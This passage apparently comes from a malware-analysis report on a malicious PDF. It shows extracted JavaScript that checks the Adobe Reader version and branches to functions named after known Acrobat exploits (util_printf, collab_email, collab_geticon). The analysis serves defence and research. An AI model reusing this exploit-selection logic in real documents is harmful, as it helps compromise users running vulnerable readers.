\|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 8

Extracted artifacts 2